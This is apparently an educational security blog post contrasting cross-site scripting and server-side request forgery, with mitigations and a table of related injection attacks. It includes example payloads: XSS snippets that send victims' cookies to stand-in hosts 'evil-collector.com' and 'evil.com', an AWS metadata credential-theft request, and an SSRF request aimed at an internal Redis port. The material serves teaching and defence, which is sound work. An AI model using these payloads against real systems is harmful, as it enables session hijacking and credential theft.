Views: 3
XSS vs SSRF: Two Different Trust Boundaries, Two Different Attacks
Same root cause — untrusted input crossing a boundary something else blindly trusted — but the boundary being broken is completely different. Here’s how each one actually plays out in the real world.
Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF) get mentioned together a lot in security write-ups, and it’s easy to treat them as “just two more OWASP Top 10 entries.” But they exploit fundamentally different trust relationships — one abuses what a browser trusts, the other abuses what a server trusts. Understanding that distinction is the fastest way to understand why the fixes look nothing alike.
XSS Cross-Site Scripting
XSS is the injection of attacker-controlled script into a page that then executes in another user’s browser, running with the full privileges of the site it’s served from — same cookies, same session, same DOM access. The browser has no way to distinguish “legitimate app script” from “attacker payload that got stored in a database field” — both arrive from the same origin, so both get the same trust.
The three flavors
- Reflected XSS — the payload comes from the request itself (a URL parameter, a search box) and is echoed back unsanitized. Requires a victim to click a crafted link.
- Stored XSS — the payload is saved server-side (a comment, a profile bio, a support ticket) and served to every user who later views that page. No individual targeting needed.
- DOM-based XSS — the vulnerability lives entirely client-side. JavaScript takes untrusted data (e.g.
location.hash) and writes it into a dangerous sink likeinnerHTMLwithout the payload ever touching the server.
Real-world example: stored XSS via a review field
Picture a hotel booking platform with a public review form. Instead of encoding user input before rendering it, the frontend dumps it straight into the page with innerHTML. An attacker submits a “review”:
Great stay! <script>
fetch('https://evil-collector.com/steal?c=' + document.cookie)
</script>
Every visitor who opens that hotel’s page silently sends their session cookie to evil-collector.com. The attacker replays it and is logged in as the victim — no password required, no interaction beyond viewing a page.
Real-world example: reflected XSS in a search page
A shop’s “did you mean” search feature reflects the query straight into the results page:
https://shop.example.com/search?q=<img src=x onerror="document.location='https://evil.com/steal?c='+document.cookie">
The attacker sends this link disguised as a product deal. The victim clicks, sees the real shop page load (so nothing looks off), and their cookie is exfiltrated in the background via the broken image’s onerror handler.
Impact
- Session hijacking via cookie/token theft
- Credential phishing via injected fake login forms
- Keylogging and payment card skimming
- Defacement
- Chaining into CSRF or further browser exploitation
Mitigations
- Context-aware output encoding — HTML, attribute, JS, and URL contexts each need different escaping
- A strict
Content-Security-Policyto block inline script execution HttpOnlyandSecureflags on session cookies so script can’t read them even if XSS lands- Input validation at the boundary, output encoding at render time — never rely on one alone
- Framework auto-escaping (React, Angular, Vue) — and avoiding the escape hatches:
dangerouslySetInnerHTML,v-html, rawinnerHTML
SSRF Server-Side Request Forgery
SSRF flips the attacker’s target. Instead of tricking a browser into running malicious script, the attacker tricks the server itself into making a request it wasn’t supposed to make — usually to an internal resource the attacker could never reach directly, because the server is standing inside the network perimeter and the attacker isn’t.
Real-world example: the Capital One breach
This is the textbook case. Capital One ran a Web Application Firewall on AWS with a misconfigured feature that let it fetch data from a URL to validate metadata. An attacker crafted a request that caused the WAF server to issue this internal call on the attacker’s behalf:
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
169.254.169.254 is the AWS instance metadata endpoint — reachable only from inside the EC2 instance itself, never from the public internet. Because the WAF was that instance, it dutifully fetched temporary IAM credentials and returned them in its response. Those stolen credentials were then used to pull roughly 100 million customer records out of S3.
Real-world example: “import avatar from URL”
A far more common, everyday pattern — any feature where a server fetches a URL on the user’s behalf:
POST /avatar/import
{"image_url": "http://localhost:6379/"}
If an internal Redis instance is listening on localhost:6379, the attacker can sometimes smuggle Redis protocol commands through a crafted “URL” and get remote code execution on the host running Redis — purely because the server made a connection the attacker could never make from outside.
Other common SSRF targets
- Cloud metadata endpoints (AWS/GCP/Azure) — IAM credential theft
- Internal admin panels with no external-facing auth
file://URIs to read local files off the server- Port-scanning the internal network via response-time or error-message differences
Mitigations
- Allowlist destination hosts and URL schemes — never denylist
- Block outbound requests to link-local and private ranges:
169.254.0.0/16,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,127.0.0.0/8 - Enforce the allowlist at a network-level proxy, not app-level regex — regex-based filters get bypassed by DNS rebinding, redirects, and IP-encoding tricks
- Disable unneeded URL schemes (
file://,gopher://,dict://) - Re-validate at request time, not just at input time, to defeat DNS rebinding
Which trust is actually being exploited?
Both attacks come from the same root cause — untrusted input crossing into an interpreter without proper validation for that context — but the boundary each one breaks is different.
XSS → Same-Origin Trust
The browser’s core rule: “if this script came from bank.com, it gets full access to bank.com‘s cookies, session, and DOM.” XSS doesn’t break that rule — it abuses it, by getting attacker script served as if it were the site’s own code. The browser can’t tell a legitimate script tag from a stored payload; both share the origin.
SSRF → Network-Perimeter Trust
Internal systems trust requests that arrive from inside the network — often with weak or no auth, because “if you’re inside, you’re already vetted.” SSRF abuses the fact that a public-facing server is itself a trusted internal node with a URL-fetching feature, and puppets it into making the call the attacker never could directly.
Put another way: XSS breaks the user-to-site trust boundary — attacker code runs as if it were the site, against the user. SSRF breaks the network trust boundary — an attacker request runs as if it were the server, against internal infrastructure. Different victims, different boundaries, same underlying failure: trusting the origin of something instead of validating its content or intent.
Adjacent attacks in the same family
| Attack | Core idea |
|---|---|
| CSRF | Victim’s authenticated browser is tricked into sending a state-changing request to a site it’s logged into — attacker controls the trigger, not the payload content |
| SQL Injection | Untrusted input concatenated into a SQL query, altering query logic |
| Command Injection | Untrusted input passed into a shell command |
| LDAP Injection | Same idea against LDAP queries |
| XXE | XML parser resolves an external entity, leading to file read or SSRF |
| SSTI | Untrusted input evaluated by a server-side template engine (Jinja2, Twig), often leading to RCE |
| CRLF Injection | Injecting \r\n into headers to split or forge HTTP responses |
| Open Redirect | App redirects to an attacker-supplied URL — used in phishing and OAuth token theft |
| Insecure Deserialization | Untrusted serialized data deserialized into objects, leading to RCE (Java, PHP, Python pickle, .NET) |
| Clickjacking | UI redressing via invisible iframes to trick clicks — not injection, but same browser-trust family as XSS |

